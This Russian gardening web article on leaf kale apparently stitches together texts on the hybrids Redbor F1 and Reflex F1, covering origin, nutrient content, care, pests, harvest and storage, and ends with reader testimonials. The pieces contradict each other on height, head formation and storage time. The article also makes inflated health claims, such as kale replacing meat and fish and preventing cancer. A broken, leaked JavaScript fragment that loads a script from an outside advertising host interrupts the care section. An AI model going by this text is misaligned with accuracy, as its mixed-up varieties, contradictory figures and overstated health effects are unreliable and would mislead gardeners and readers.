Листовая капуста (фото) сорт Рефлекс F1 — посадка и уход | Сайт о саде, даче и комнатных растениях.
О чем статья:
Описание гибрида капусты листовой Редбор F1
Гибрид Редбор F1 пока еще не получил широкую распространенность среди отечественных огородников, но многие уже заинтересовались этой культурой и успешно осваивают на своих земельных участках.
Происхождение и развитие
В 2000 г. позднеспелый гибрид Редбор F1 был включен в Госреестр для садово-огородных участков, приусадебных и мелких фермерских хозяйств. Культура выведена голландскими селекционерами из дикорастущих видов, от которых были унаследованы неприхотливость и устойчивость к неблагоприятным природным и климатическим условиям.
У «предка» Редбора листья были гладкие, однотонные и с ровным краем, но в процессе селекционных работ их края стали гофрированными, напоминающими бахрому. Листья окрашены в фиолетовый цвет, имеют экзотический вид.
Практическое применение достигнутых результатов (морозостойкости, высокой урожайности, скороспелости) путем скрещивания двух сортов началось еще в начале XX века. Редбор F1 входит в число наиболее успешных современных гибридов.
Сейчас культура широко используется в странах с развитым сельским хозяйством.
Что это за вид и чем он отличается от обычной
Редбор отличается от других сортов и гибридов капусты тем, что не образует кочана. Растение имеет вид рыхлой розетки из кружевных по краю листьев, довольно тонких, но при этом сочных, пурпурного цвета. Растет кустом высотой 1,5 м.
Растение двулетнее, дает урожай на второй год после посадки. Имеет еще одну необычную особенность – активный рост боковых листьев, что дает возможность неоднократно снимать урожай.
Химический состав, микроэлементы и витамины, полезные свойства
Кудрявая капуста значительно опережает своих «родственников» по содержанию полезных веществ. По содержанию белка она выступает прекрасной альтернативой мясу, а по содержанию жирной кислоты Омега-3 – рыбным продуктам. Кроме 25 жизненно важных аминокислот, 100 г листьев культуры богаты витаминами и минералами.
Витамины:
- A – 681 мкг,
- B – 0,7 мг,
- PP – 0,5 мг,
- C – 41 мг,
- В-каротин – 8,173 мг.
Минералы:
- калий – 228 мг,
- магний – 18 мг,
- фосфор – 28 мг,
- цинк – 0,24 мг,
- селен – 0,9 мкг,
- кальций – 72 мг (содержится в таком же количестве, как и в молочных продуктах).
Редбор содержит антиоксиданты – глюкозинолат и сульфорафан, которые препятствуют развитию раковых клеток.
Описание и характеристика сорта
Кудрявая листовая капуста Рефлекс F1 Кале пользуется популярностью среди профи-фермеров и огородников. Овощ высаживается как декоративный сорт, а также с целю получить питательную зелень для салатов и гарниров.
Сроки созревания среднепоздние.
Что следует знать о гибриде:
- полуприподнятая вертикальная розетка больших размеров;
- выраженная гофрированность и пышность листьев;
- высота кустов до 80 см;
- средняя масса головки 300-1400 г;
- яркое изумрудное окрашивание;
- приятный вкус;
- нежная текстура без жестких прожилок.
Для приготовления салатов срезают внутренние листочки, на их месте постепенно отрастают заново новые листья и заполняют розетку.
Состав капустных листьев включает много ценных веществ:
| С
К Группа В |
| Кальций
Калий Железо Сера Фосфор |
Калорийность свежего продукта равняется 24 ккал на 100 г.
Уход за кустом и рассадой
var m5bc320aaa48c8 = document.createElement(‘script’);
m5bc320aaa48c8.src=’https://info.tolkotakak.ru/show/?’ + Math.round(Math.random()*100000) + ‘=’ + Math.round(Math.random()*100000) + ‘&block_id=9603&title=’ + document.title +’&’ + Math.round(Math.random()*100000);
function f5bc320aaa48c8() else
}
f5bc320aaa48c8();
Поливать или вечером, или утром. В середине дня поливать не рекомендуется. Ростки нуждаются во влаге, но число поливов по мере созревания нужно сократить. Помните, что сухая почва является причиной возникновения нитратов в теле овоща.
Повышенное содержание нитратов вызывается применением свежего навоза. Используйте навоз, который перепрел. Недостаток калия и повышенная доза минерального азота тоже могут привести к избытку нитратов.
На земле через 10 суток с момента высадки рассады необходимо внести мочевину, соль калия и суперфосфат. Через 20 суток надо произвести ещё одну подкормку, увеличив дозу в полтора раза, и добавить молибденовокислый аммоний.
Избавление от вредителей и болезней
Кила и капустная муха переносится хорошо растением, но тля вредит овощу. Опрыскивание ботвой томатов, настоянной красным перцем или кожурой картофеля, отпугивает вредителей. Применение раствора хозяйственного мыла с табаком уничтожает тлю. Можно использовать древесную золу, растворенную с хозяйственным мылом в воде. Через 10 дней после высадки необходимо во время сухой и жаркой погоды распылить над рядками золу. Это предотвращает вред от земляных блошек. Известь способна заменить золу, распыленную над рядками.
Чтобы повысить сопротивляемость к болезням и урожайность, кусты обрабатывают стимулятором роста. Делается это через 3 недели после посадки. Для этого используют вещества: Иммунофит, Гумат натрия и другие.
Сбор и хранение
Листовая капуста растет на протяжении всего лета. Допустимо в этот период срезать свежие маленькие листочки, которые обладают наиболее ярким вкусом, ведь старые и большие листья теряют свой вкус.
Урожай подлежит очень быстрому употреблению, хранение не должно превышать 4 суток в холодильнике. Для длительного хранения листья можно поместить в морозильную камеру.
Высокая питательная ценность, неприхотливость выращивания, диетические свойства делают овощ востребованным для посадки. Культура выращивается на всей территории России — от Дальнего Востока до Архангельска.
https://www.youtube.com/embed/191sT-tWHxQ
Болезни и вредители капусты кале
Листовая капуста кале отличается сильным иммунитетом против характерных заболеваний, однако не застрахована от нашествия насекомых. Особенно часто растение подвергается нападкам:
- тли обыкновенной;
- совки;
- мухи капустной;
- цветоедов.
Лечение и профилактика проводятся путем использования препаратов: Банкол, Кемифос, Фьюри, Шарпей.
Сбор и хранение урожая
Уборку проводят одним из двух способов:
- обрывают боковые листья, которые побольше, – листья поменьше оставляют;
- срезают полностью все растение и до обработки хранят в прохладном месте.
Когда собирать
Вырастающие листья собирают на протяжении всего лета. Чем моложе, тем они более нежные и вкусные. Срезают их ранним утром, когда листья максимально напитаны влагой.
Как только в процессе роста листья начинают грубеть и терять вкусовые качества, проводят завершающий сбор урожая. Весь вегетационный период длится до 180 суток.
Особенности хранения и лежкость гибрида Редбор F1
При комнатной температуре капуста хранится не более 2-3 дней, затем вянет. В холодильнике – максимум 7 дней. Листья устанавливают в емкость с водой, как букет, и накрывают сверху полиэтиленовым пакетом.
Надолго сохранить такой продукт помогает заморозка. Листья предварительно промывают и высушивают при комнатной температуре, разложив на бумажных или матерчатых салфетках. Желательно стебли и прожилки срезать, оставляя только листовую пластину.
Советы и отзывы опытных огородников
Опытные огородники, занимающиеся выращиванием гибрида капусты Редбор F1 не один год, советуют запасаться на зиму сушеными листьями растения, в которых сохраняются абсолютно все полезные свойства и вкус свежего овоща. В таком виде их с успехом применяют для приготовления первых и вторых блюд. Как в замороженном, так и в сушеном виде продукт хорошо хранится на протяжении всего года.
Евгений, Саратов: «В прошлом году не решался, но все же посадил капусту Редбор F1 уже в сентябре и остался доволен. Успел снять урожай до морозов и обеспечил себя витаминами на всю зиму. Плюс еще в том, что капуста не страдала от болезней и вредителей, а весной молодые листья можно есть уже в мае».
Валентина, Волгоградская обл.: «Первоначально высаживала Редбор F1 для красоты во дворе. А теперь устраивает то, что урожай капусты можно собирать хоть каждый день, обрывая нижние листья, и так до самой зимы. Растения приобретают вид маленьких пальм – высокий голый ствол и на макушке пучок листьев. Попробуйте посадить, вдруг понравится».
В статье использованы материалы с сайтов:
